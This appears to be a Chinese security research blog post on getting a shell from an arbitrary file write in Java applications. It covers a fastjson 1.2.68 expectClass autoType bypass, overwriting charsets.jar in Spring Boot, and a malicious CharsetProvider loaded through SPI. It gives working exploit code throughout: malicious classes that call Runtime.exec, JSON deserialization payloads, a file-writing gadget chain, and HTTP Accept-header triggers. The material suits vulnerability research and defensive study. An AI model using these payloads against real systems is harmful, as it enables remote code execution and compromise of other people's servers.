如果能任意文件读写,除了写jsp、crontab,如何getshell
写class
使用fastjson 1.2.68
先看一下原理:
使用期望类expectClass
如:
public class testfj1268 extends Exception {
private String domain;
public testfj1268() {
super();
}
public void setDomain(String domain) {
this.domain = domain;
}
public String getAAA() {
try {
Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain});
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
}
触发
{"@type":"java.lang.Exception","@type": "test.testfj1268","domain": "calc"}
首先遇到第一个@type,在DefaultJSONParser#parseObject中进行checkAutoType
分别过一遍黑白名单
然后从mapping缓存中查找类
缓存中有,则直接获取
然后第一次checkAutoType的返回clazz就是java.lang.Exception,接着根据clazz获取反序列化器,这里由于是异常类,所以得到的反序列化器是ThrowableDeserializer,接着进行deserialize
在ThrowableDeserializer中取出第二个@type,并进行checkAutoType,注意这里的第二个参数为Throwable.class,即为期望类
这里expectClass不为空,也不在
expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class
中,expectClassFlag=true
然后就是正常的遍历白黑名单,然后由于expectClassFlag=true,就先从默认的ClassLoader加载类
加载失败,mapping也没有,则先从AppCLassLoader去加载target目录下的class资源文件
然后由于expectClassFlag=true,第二次尝试loadClass
跟进发现这里同样用了AppCLassLoader,前面已经加载过资源了,所以这里loadClass成功,返回testfj类
接着过一遍ban掉的三个类
并且期望类不为null,切testfj类继承自异常类,直接加到缓存并返回,使得即使不开启autoType也能绕过
实例化
调用setter
调用getter
最终弹窗
总结:expectClass不为空且在类继承expectClass时,提前autoType的判断直接返回
同理,由于mapping中存在java.lang.AutoCloseable,所以异常类也可替换成java.lang.AutoCloseable
浅蓝师傅的gadgets
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "f:/test/pwn.txt",
"tempPath": "f:/test/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "YjF1M3I=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}
https://b1ue.cn/archives/364.html
https://blog.0kami.cn/2020/04/13/java/talk-about-fastjson-deserialization/
https://www.anquanke.com/post/id/232774#h2-27
所以只要写一个继承了Exception、AutoCloseable等的class然后触发fastjson即可
springboot 覆盖系统jar文件
现在生产环境部署
spring boot
项目一般都是将其打包成一个FatJar
,即把所有依赖的第三方 jar 也打包进自身的app.jar
中,最后以java -jar app.jar
形式来运行整个项目。运行时项目的classpath
包括app.jar
中的BOOT-INF/classes
目录和BOOT-INF/lib
目录下的所有 jar,因此无法在其运行的时候往 classpath 中增加文件。并且现阶段 spring boot 项目多以 RESTful API 接口形式向外提供服务,很少会动态解析 jsp 和其他外部模版文件,直接 webshell 文件的情况一般不会出现。
=> 可以通过覆盖系统jar文件,然后触发
java在启动中加上参数
-XX:+TraceClassLoading
root@kali:/home# java -XX:+TraceClassLoading -jar app.jar
[Opened /home/jdk8u202/jre/lib/rt.jar]
[Loaded java.lang.Object from /home/jdk8u202/jre/lib/rt.jar]
[Loaded java.io.Serializable from /home/jdk8u202/jre/lib/rt.jar]
[Loaded java.lang.Comparable from /home/jdk8u202/jre/lib/rt.jar]
[Loaded java.lang.CharSequence from /home/jdk8u202/jre/lib/rt.jar]
[Loaded java.lang.String from /home/jdk8u202/jre/lib/rt.jar]
...
可以看到首先java打开了jre/lib/rt.jar(该文件主要包含JAVA的一些核心运行环境)然后加载类
如果有一个一开始没有被open过的jar,后续生成恶意jar并覆盖,再通过手动调用便可RCE(因为open过后有缓存,即使覆盖后也必须重启才能生效)
landgrey师傅找的是jre/lib/charsets.jar
在org.springframework.web.accept.HeaderContentNegotiationStrategy
有一个处理mimetype的函数parseMimeTypeInternal
,如果传入
Accept: text/html;charset=gbk
便会对charset进行解析,最终加载字符集
Charset.forName("gbk")
调用栈:
这样就会去加载jre/lib/charsets.jar文件
现在先生成恶意的charsets.jar,先看一下普通的
这里ExtendCharsets中定义了所有的字符对应的class,所以这里可以令所有的字符都指向一个恶意的class即可,参考:
https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks/tree/main/charsets
现在启动一个springboot试一下,这里得用linux...windows可能是因为中文啥的原因会自动加载charsets.jar
确认linux没有加载charsets.jar
替换${JAVA_HOME}/jre/lib/charsets.jar,然后Accept头加上charset即可触发
GET / HTTP/1.1
Accept: text/html;charset=gbk
...
或是fastjson触发
{
"x":{
"@type":"java.nio.charset.Charset",
"val":"GBK"
}
}
不过如果第一次open charsets.jar文件后没有利用成功,就不能再试第二次了..
https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks
springboot spi调用恶意provider
关于java spi:
https://www.cnblogs.com/jy107600/p/11464985.html
在Charset.forName后会一路调用到Charset#lookup2
其中有三个对charsetName的操作函数
第一个和第二个都已经指定了provider
而第三个
private static Charset lookupViaProviders(final String charsetName) {
...
if (gate.get() != null)
// Avoid recursive provider lookups
return null;
try {
gate.set(gate);
return AccessController.doPrivileged(
new PrivilegedAction<Charset>() {
public Charset run() {
for (Iterator<CharsetProvider> i = providers();
i.hasNext();) {
CharsetProvider cp = i.next();
Charset cs = cp.charsetForName(charsetName);
if (cs != null)
return cs;
}
return null;
}
});
...
迭代providers(),跟进看一下,发现使用了serviceLoader加载了所有实现了CharsetProvider的类
然后回到lookupViaProviders进行调用
cp.charsetForName(charsetName)
那么就可以通过SPI机制,在META-INF下写入java.nio.charset.spi.CharsetProvider文件,从而实现加载恶意类
首先生成恶意类Evil写入jre/classes/目录下(需要继承CharsetProvider)
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.HashSet;
import java.util.Iterator;
public class Evil extends java.nio.charset.spi.CharsetProvider {
@Override
public Iterator<Charset> charsets() {
return new HashSet<Charset>().iterator();
}
@Override
public Charset charsetForName(String charsetName) {
if (charsetName.startsWith("Evil")) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
return Charset.forName("UTF-8");
}
}
然后在META-INF下创建services目录和java.nio.charset.spi.CharsetProvider文件(内容为恶意类Evil)
├── Evil.class
└── META-INF
└── services
└── java.nio.charset.spi.CharsetProvider
然后使用Accept头或fastjson触发
Accept: text/html;charset=Evil
{"@type":"java.nio.charset.Charset","val":"Evil"}
这种方法不需要覆盖系统jar,但是我默认jre下没有classes目录和META-INF目录,不过不失为一种方法